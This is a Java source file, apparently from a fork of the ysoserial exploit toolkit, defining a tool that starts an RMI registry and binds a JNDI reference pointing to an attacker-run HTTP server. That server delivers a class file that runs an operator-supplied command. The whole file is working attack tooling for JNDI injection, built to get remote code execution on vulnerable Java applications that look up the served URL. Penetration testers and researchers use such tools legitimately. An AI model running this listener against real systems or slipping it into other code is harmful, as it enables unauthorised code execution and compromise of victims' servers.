package ysoserial.exploit;


import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 *
 * RMI Registry with Payload Http Server
 * @author wh1t3P1g
 */
@SuppressWarnings ( {
    "restriction"
} )
public class RMIRefWithHttpListener {

    private int port;
    private Object payloadObject;
    private String factoryName;

    public RMIRefWithHttpListener(int port, String factoryName, Object payloadObject ) throws NumberFormatException, IOException {
        this.port = port;
        this.payloadObject = payloadObject;
        this.factoryName = factoryName;
    }

    public static final void main ( final String[] args ) throws Exception{

        if ( args.length < 4 ) {
            System.err.println(RMIRefWithHttpListener.class.getName() + "<registryHost:registryPort> <PayloadServerPort> <factory_name> <command>");
            System.exit(-1);
            return;
        }
        System.setProperty("sun.rmi.transport.tcp.logLevel","BRIEF");
        String[] registry = args[0].split(":");
        int registryPort = Integer.parseInt(registry[1]);
        String host = registry[0];

        int httpServerPort = Integer.parseInt(args[1]);
        String factoryName = args[2];
        String factoryURL = "http://"+host+":"+httpServerPort+"/";
        String command = args[3];

        Reference reference = new Reference(factoryName, factoryName, factoryURL);
        final Object payloadObject = new ReferenceWrapper(reference);

        try {
            System.err.println("* URL: rmi://"+host+":"+registryPort+"/"+factoryName);
            System.err.println("* FactoryURL: "+factoryURL);
            System.err.println("* Opening JRMP listener on " + registryPort);
            PayloadClassFileHTTPServer server = new PayloadClassFileHTTPServer(httpServerPort, factoryName, command);
            server.run();
            RMIRefWithHttpListener c = new RMIRefWithHttpListener(registryPort, factoryName, payloadObject);
            c.run();
        }
        catch ( Exception e ) {
            System.err.println("Listener error");
            e.printStackTrace(System.err);
        }
    }

    public void run() throws Exception {
        Registry registry = LocateRegistry.createRegistry(port);
        registry.bind(factoryName, (Remote) payloadObject);
    }
}
